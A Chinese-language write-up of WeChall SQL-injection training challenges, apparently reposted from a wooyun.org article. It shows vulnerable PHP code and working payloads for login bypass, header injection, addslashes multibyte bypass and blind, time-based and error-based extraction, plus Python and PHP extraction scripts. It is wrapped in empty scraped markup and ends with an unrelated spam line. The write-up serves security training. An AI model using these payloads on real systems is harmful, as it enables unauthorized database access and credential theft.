<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/papers/1321

                    特別鳴謝 Random Debug Slipper 對我的無私幫助

                    PS:雖然是一份題解,但是其中某些題目的解法還有些不盡人意。如有更好的思路歡迎留言評論 :)

                    QQ:915910623

                    Training: MySQL I


                    最簡單的注入情況,參數沒有經過任何過濾就帶入查詢

                    漏洞代碼:

                    #!php
                    function auth1_onLogin(WC_Challenge $chall, $username, $password)
                    {
                            $db = auth1_db();
                    
                            $password = md5($password);
                    
                            $query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
                    
                            if (false === ($result = $db->queryFirst($query))) {
                                    echo GWF_HTML::error('Auth1', $chall->lang('err_unknown'), false); # Unknown user
                                    return false;
                            }
                    
                            # Welcome back!
                            echo GWF_HTML::message('Auth1', $chall->lang('msg_welcome_back', htmlspecialchars($result['username'])), false);
                    
                            # Challenge solved?
                            if (strtolower($result['username']) === 'admin') {
                                    $chall->onChallengeSolved(GWF_Session::getUserID());
                            }
                    
                            return true;
                    }
                    

                    利用語句:

                    username=admin' -- 
                    

                    MySQL Authentication Bypass II


                    比較基礎的題目,和上一題不同,username password分開來驗證。通常的利用方法是使用union構造已知MD5值的查詢。

                    漏洞代碼:

                    #!php
                    function auth2_onLogin(WC_Challenge $chall, $username, $password)
                    {
                            $db = auth2_db();
                    
                            $password = md5($password);
                    
                            $query = "SELECT * FROM users WHERE username='$username'";
                    
                            if (false === ($result = $db->queryFirst($query))) {
                                    echo GWF_HTML::error('Auth2', $chall->lang('err_unknown'), false);
                                    return false;
                            }
                    
                    
                            #############################
                            ### This is the new check ###
                            if ($result['password'] !== $password) {
                                    echo GWF_HTML::error('Auth2', $chall->lang('err_password'), false);
                                    return false;
                            } #  End of the new code  ###
                            #############################
                    
                    
                            echo GWF_HTML::message('Auth2', $chall->lang('msg_welcome_back', array(htmlspecialchars($result['username']))), false);
                    
                            if (strtolower($result['username']) === 'admin') {
                                    $chall->onChallengeSolved(GWF_Session::getUserID());
                            }
                    
                            return true;
                    }
                    

                    利用語句:

                    username=wyl' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b' --  &password=1&login=Login
                    

                    也可以直接使用mysql自帶的 MD5 函數來生成 hash

                    username=wyl' union select 1,'admin',md5('1') --  &password=1&login=Login
                    

                    No Escape


                    一個投票的功能,使用mysql_real_escape_string() 對參數進行了過濾,不過并不需要繞過它,因為它并不會過濾重音符(backtick)

                    漏洞代碼:

                    #!php
                    function noesc_voteup($who)
                    {
                            if ( (stripos($who, 'id') !== false) || (strpos($who, '/') !== false) ) {
                                    echo GWF_HTML::error('No Escape', 'Please do not mess with the id. It would break the challenge for others', false);
                                    return;
                            }
                    
                    
                            $db = noesc_db();
                            $who = mysql_real_escape_string($who);
                            $query = "UPDATE noescvotes SET `$who`=`$who`+1 WHERE id=1";
                            if (false !== $db->queryWrite($query)) {
                                    echo GWF_HTML::message('No Escape', 'Vote counted for '.GWF_HTML::display($who), false);
                            }
                    
                            noesc_stop100();
                    }
                    

                    利用方式:

                    vote_for=bill` = `bill` %2b 111 where bill=0 --%20
                    

                    當然也可以寫的簡短一點

                    barack`=111#
                    

                    The Guestbook


                    一個留言本的程序,其中大部分參數都經過了過濾,但是IP地址直接帶入insert語句,可以構造一個x-forwraded-for來實現注入

                    需要在insert語句中使用select子查詢

                    漏洞代碼:

                    #!php
                    function gbook_getIP()
                    {
                            if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
                                    return $_SERVER['HTTP_X_FORWARDED_FOR'];
                            }
                            elseif (isset($_SERVER['HTTP_VIA'])) { 
                                    return $_SERVER['HTTP_VIA'];
                            }
                            else {
                                    return $_SERVER['REMOTE_ADDR'];
                            }
                    }
                    

                    利用方式:

                    頭中不能使用urlencode,末尾空格會被會忽略

                    X-Forwarded-For: 127.0.0.1,8888',(select gbu_password from gbook_user where gbu_name='admin')) #
                    

                    如果非要使用--也可以這樣構造

                    X-Forwarded-For: 127.0.0.1,8888',(select gbu_password from gbook_user where gbu_name='admin')) -- a
                    

                    MD5.SALT


                    這道題是一道簡單的注入,不過需要破解MD5,在網站上付費一下就可以了。

                    漏洞代碼:

                    題目沒有給出源代碼

                    利用方式:

                    ' union select password,2 from users -- 
                    

                    Addslashes


                    這題的參數使用了Addslashes()函數進行了過濾,使用雙字節繞過即可。

                    漏洞代碼:

                    #!php
                    function asvsmysql_login($username, $password)
                    {
                            $username = addslashes($username);
                            $password = md5($password);
                    
                            if (false === ($db = gdo_db_instance('localhost', ADDSLASH_USERNAME, ADDSLASH_PASSWORD, ADDSLASH_DATABASE, GWF_DB_TYPE, 'GBK'))) {
                                    return htmlDisplayError('Can`t connect to database.');
                            }
                    
                            $db->setLogging(false);
                            $db->setEMailOnError(false);
                    
                            $query = "SELECT username FROM users WHERE username='$username' AND password='$password'";
                    
                            if (false === ($result = $db->queryFirst($query))) {
                                    return htmlDisplayError('Wrong username/password.');
                            }
                    
                            if ($result['username'] !== 'Admin') {
                                    return htmlDisplayError('You are logged in, but not as Admin.');
                            }
                    
                            return htmlDisplayMessage('You are logged in. congrats!');
                    }
                    

                    利用方式:

                    使用limit猜測一下,admin的位置

                    username=Admin%bf' union select username from users limit 1,1 -- 
                    

                    或者直接構造一個admin出來

                    username=%b3%27+union+select+Char(65,100,109,105,110)/*
                    

                    當然這些方法,主要是為了繞過單引號,還有一些有趣的利用

                    username=%bf%27 OR CONV(username,36,10) = 17431871#
                    

                    Blinded by the light


                    盲注,參數沒用經過過濾,猜測一個32位的hash,但是要求在128次之內猜解出來,使用二分即可。

                    漏洞代碼:

                    #!php
                    function blightVuln($password)
                    {
                            # Do not mess with other sessions!
                            if ( (strpos($password, '/*') !== false) || (stripos($password, 'blight') !== false) )
                            {
                                    return false;
                            }
                    
                            $db = blightDB();
                            $sessid = GWF_Session::getSession()->getID();
                            $query = "SELECT 1 FROM (SELECT password FROM blight WHERE sessid=$sessid) b WHERE password='$password'";
                            return $db->queryFirst($query) !== false;
                    }
                    

                    利用腳本:

                    常規的二分盲注

                    #!python
                    import urllib
                    import urllib2
                    def doinject(payload):
                        url = 'http://www.wechall.net/challenge/blind_light/index.php'
                        values = {'injection':payload,'inject':'Inject'}
                        data = urllib.urlencode(values)
                        #print data
                        req = urllib2.Request(url, data)
                        req.add_header('cookie','WC=7205526-10787-ZSOZPXjj8gf4BE7K')
                        response = urllib2.urlopen(req)
                        the_page = response.read()
                        if (the_page.find("Welcome back")>0):
                            return True
                        else:
                            return False
                    
                    
                    wordlist = "0123456789ABCDEF"
                    res = ""
                    for i in range(1,33):
                        s=0
                        t=15
                        while (s<t):
                            if (t-s==1):
                                if doinject('\' or substring(password,'+str(i)+',1)=\''+wordlist[t]+'\' -- '):
                                    m=t
                                    break
                                else:
                                    m=s
                                    break
                            m=(s+t)/2
                            if doinject('\' or substring(password,'+str(i)+',1)>\''+wordlist[m]+'\' -- '):
                                s=m+1
                                print wordlist[s]+":"+wordlist[t]
                            else:
                                t=m
                                print wordlist[s]+":"+wordlist[t]
                        res = res+wordlist[m]
                        print res
                    

                    使用正則表達式的盲注

                    #!php
                    $sUrl = 'http://www.wechall.net/challenge/blind_light/index.php';
                    $sPost = 'inject=Inject&injection=';
                    $sCharset = 'ABCDEF0123456789';
                    
                    
                    /* for every character */
                    for ($i=0, $hash=''; $i<32; ++$i) {
                            $ch = $sCharset;
                    
                            do {
                                    $ch1 = substr($ch, 0, intval(strlen($ch)/2));
                                    $ch2 = substr($ch, intval(strlen($ch)/2));
                    
                                    $p = $sPost.'absolutelyimpossible\' OR 1=(SELECT 1 FROM blight WHERE password REGEXP \'^'.$hash.'['.$ch1.']\' AND sessid=xxx) AND \'1\'=\'1';
                                    $res = libHTTP::POST($sUrl, $p);
                    
                                    if (strpos($res['content'], 'Your password is wrong') === false)
                                            $ch = $ch1;
                                    else 
                                            $ch = $ch2;
                    
                            } while (strlen($ch) > 1);
                    
                            $hash .= $ch;
                            echo "\rhash: ".$hash;
                    }
                    

                    Blinded by the lighter


                    這題和上題相同,只不過把次數減少成為33次

                    漏洞代碼:

                    #!php
                    function blightVuln($password)
                    {
                            # Do not mess with other sessions!
                            if ( (strpos($password, '/*') !== false) || (stripos($password, 'blight') !== false) )
                            {
                                    return false;
                            }
                    
                            $db = blightDB();
                            $sessid = GWF_Session::getSessSID();
                            $query = "SELECT 1 FROM (SELECT password FROM blight WHERE sessid=$sessid) b WHERE password='$password'";
                            return $db->queryFirst($query) !== false;
                    }
                    

                    利用方式:

                    使用基于時間的注入來判斷字符ascii碼

                    ' or benchmark(ord(substr(password,1,1))*1000000,MD5(1))
                    

                    這樣做可以提高一點精確度

                    ' or sleep(ord(substr(password,1,1)))
                    

                    ps.這題使用這種方法寫的腳本,在精度上會出現問題,如果有什么好的思路請留言告知~~~~

                    Light in the Darkness


                    上面兩題的加強版,只允許2次查詢。不過是返回錯誤信息的盲注。可以使用雙查詢報錯。

                    漏洞代碼:

                    #!php
                    function blightVuln($password)
                    {
                            # Do not mess with other sessions!
                            if ( (strpos($password, '/*') !== false) || (stripos($password, 'blight') !== false) )
                            {
                                    return false;
                            }
                    
                            $db = blightDB();
                            $sessid = GWF_Session::getSessSID();
                            $query = "SELECT 1 FROM (SELECT password FROM blight WHERE sessid=$sessid) b WHERE password='$password'";
                            return $db->queryFirst($query) !== false;
                    }
                    

                    利用方式:

                    1' or (select count(*) from information_schema.tables group by concat(password,floor(rand(0)*2))) -- 
                    

                    我其實對這種報錯方式的原理很好奇,也很不解,有感興趣的同學歡迎指教。

                    下面是我對這題的幾點疑惑:

                    特別是使用用戶變量時,反應也很神奇,比如這題的另一種解法,不明白其中的原理。

                     '||(select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2))||'
                    

                    我當時設想出這樣一種解法,[email protected][email protected]

                    ' or (@lanlan:=password) or (select 1 from(select count(*),concat(@lanlan,floor(rand(0)*2))x from information_schema.tables group by x)a) -- 
                    

                    Are you blind?


                    這題也是一道盲注,可是不管對錯返回的結果一樣。可以使用order by報錯的方法來盲注。

                    漏洞代碼:

                    #!php
                    function blightVuln(WC_Challenge $chall, $password, $attempt)
                    {
                            # Do not mess with other sessions!
                            if ( (strpos($password, '/*') !== false) || (stripos($password, 'blight') !== false) )
                            {
                                    return $chall->lang('mawekl_blinds_you', array($attempt));
                            }
                    
                            # And please, no timing attempts!
                            if ( (stripos($password, 'benchmark') !== false) || (stripos($password, 'sleep') !== false) )
                            {
                                    return $chall->lang('mawekl_blinds_you', array($attempt));
                            }
                    
                            $db = blightDB();
                            $sessid = GWF_Session::getSessSID();
                            $query = "SELECT 1 FROM (SELECT password FROM blight WHERE sessid=$sessid) b WHERE password='$password'";
                            return $db->queryFirst($query) ? 
                                    $chall->lang('mawekl_blinds_you', array($attempt)) :
                                    $chall->lang('mawekl_blinds_you', array($attempt)) ;
                    }
                    

                    利用語句:

                    injection=' or  if(1,1,(select 1 union select 2)) = 1 -- &inject=Inject
                    

                    Order By Query


                    這是一個在order by后面的注入,可以直接使用雙查詢報錯來解決。也可以使用盲注的手法猜測。

                    漏洞代碼:

                    #!php
                    function addslash2_sort($orderby, $dir)
                    {
                            if (false === ($db = addslash2_get_db())) {
                                    return false;
                            }
                            static $whitelist = array(1, 3, 4, 5);
                            static $names = array(1 => 'Username', 3 => 'Apples', 4 => 'Bananas', 5 => 'Cherries');
                    
                            $dir = GDO::getWhitelistedDirS($dir, 'DESC');
                    
                            if (!in_array($orderby, $whitelist)) {
                                    return htmlDisplayError('Error 1010101: Not in whitelist.');
                            }
                    
                            $orderby = $db->escape($orderby);
                    
                            $query = "SELECT * FROM users ORDER BY $orderby $dir LIMIT 10";
                            if (false === ($rows = $db->queryAll($query))) {
                                    return false;
                            }
                    
                            $headers = array(
                                    array('#'),
                                    array('Username', '1', 'ASC'),
                                    array('Apples', '3', 'DESC'),
                                    array('Bananas', '4', 'DESC'),
                                    array('Cherries', '5', 'DESC'),
                            );
                            echo '<div class="box box_c">'.PHP_EOL;
                            echo '<table>'.PHP_EOL;
                            echo GWF_Table::displayHeaders1($headers, GWF_WEB_ROOT.'challenge/order_by_query/index.php?by=%BY%&dir=%DIR%');
                            $i = 1;
                            foreach ($rows as $row)
                            {
                                    echo GWF_Table::rowStart();
                                    echo sprintf('<td align="right">%d</td>', $i++);
                                    echo sprintf('<td>%s</td>', $row['username']);
                                    echo sprintf('<td align="right">%s</td>', $row['apples']);
                                    echo sprintf('<td align="right">%s</td>', $row['bananas']);
                                    echo sprintf('<td align="right">%s</td>', $row['cherries']);
                                    echo GWF_Table::rowEnd();
                            }
                            echo '</table>'.PHP_EOL;
                            echo '</div>'.PHP_EOL;
                    }
                    

                    利用方式:

                    by=5 and (select 1 from(select count(*),concat((select password from users where username=0x41646d696e),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a) --
                    

                    盲注腳本

                    #!php
                    <?php
                    $curl = curl_init();
                    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
                    curl_setopt($curl, CURLOPT_HEADER, 0);
                    curl_setopt($curl, CURLOPT_COOKIE, 'WC4_SID=xxxxxxxxxxxxxxxxxxxxxxx');
                    $charset = 'ABCDEF0123456789';
                    $hash = '';
                    for($i=0;$i<32;$i++)
                    {
                            $strona = '';
                            $index=0;
                            for($j=0;strpos($strona,'10</td><td>Admin') === false;$j++)
                            {
                                    curl_setopt($curl, CURLOPT_URL, 'http://www.wechall.net/challenge/order_by_query/index.php?by=3,%20CASE%20username%20WHEN%200x41646d696e%20THEN%202-%28password%20REGEXP%200x5e'.$hash.dechex(ord($charset[$index++])).'%29%20ELSE%202%20END--');
                                    $strona = curl_exec ($curl);
                            }
                            $hash .= ''.dechex(ord($charset[--$index]));
                    }
                    curl_close($curl);
                    echo $hash;
                    ?>
                    

                    Table Names


                    猜測表名和數據庫名的題目,直接查詢information_schema即可

                    漏洞代碼:

                    沒有給出源代碼

                    利用方式:

                    得到表名

                    username=wyl' union select 1,2,table_name from information_schema.columns where column_name='username' limit 1,1 -- 
                    

                    得到數據庫名

                    username=wyl' union select 1,2,database() -- 
                    

                    Table Names II

                    這道題同樣是猜測,數據庫名和表名,不過很多關鍵詞都被過濾了。查到mysql的版本,根據文檔找information_schema里面的表, 一個一個試一下就行了。

                    漏洞代碼:

                    #!php
                    <?php
                    $secret = require('secret.php');
                    chdir('../../../');
                    define('GWF_PAGE_TITLE', 'Table Names II');
                    require_once('challenge/html_head.php');
                    require(GWF_CORE_PATH.'module/WeChall/solutionbox.php');
                    
                    if (false === ($chall = WC_Challenge::getByTitle(GWF_PAGE_TITLE)))
                    {
                            $chall = WC_Challenge::dummyChallenge(GWF_PAGE_TITLE, 6, 'challenge/nurfed/more_table_names/index.php', $secret['flag']);
                    }
                    $chall->showHeader();
                    $chall->onCheckSolution();
                    
                    if (false !== Common::getGet('login'))
                    {
                            $username = Common::getGetString('username', '');
                            $password = Common::getGetString('password', '');
                    
                            if (preg_match('/statistics|tables|columns|table_constraints|key_column_usage|partitions|schema_privileges|schemata|database|schema\(\)/i', $username.$password))
                            {
                                    echo GWF_HTML::error(GWF_PAGE_TITLE, $chall->lang('on_match'));
                            }
                            else
                            {
                                    if (false === ($db = gdo_db_instance($secret['host'], $secret['username'], $secret['password'], $secret['database'])))
                                    {
                                            die('Database error.');
                                    }
                    
                                    $db->setVerbose(false);
                                    $db->setLogging(false);
                                    $db->setEMailOnError(false);
                    
                    
                                    $query = "SELECT * FROM {$secret['database']}.{$secret['table_name']} WHERE username='$username' AND password='$password'";
                                    if (false === ($result = ($db->queryFirst($query, false))))
                                    {
                                            echo GWF_HTML::error(GWF_PAGE_TITLE, $chall->lang('on_login_fail'));
                                    }
                                    else
                                    {
                                            echo GWF_HTML::message(GWF_PAGE_TITLE, $chall->lang('on_logged_in', array(GWF_HTML::display($result['username']), GWF_HTML::display($result['message']))));
                                    }
                            }
                    }
                    
                    ?>
                    <div class="box box_c">
                    <form action="challenge.php" method="get">
                    <div><?php echo $chall->lang('username'); ?>: <input type="text" name="username" value="" /></div>
                    <div><?php echo $chall->lang('password'); ?>: <input type="text" name="password" value="" /></div>
                    <div><input type="submit" name="login" value="<?php echo $chall->lang('login'); ?>" /></div>
                    </form>
                    </div>
                    <?php
                    echo $chall->copyrightFooter();
                    require_once('challenge/html_foot.php');
                    

                    利用方式:

                    ' union select 1,2,info from information_schema.processlist-- -
                    

                    Credit Card Challenge Pwned!


                    這題描述特別長,看了半天就是發送一個頁面給管理員,csrf+injection。

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频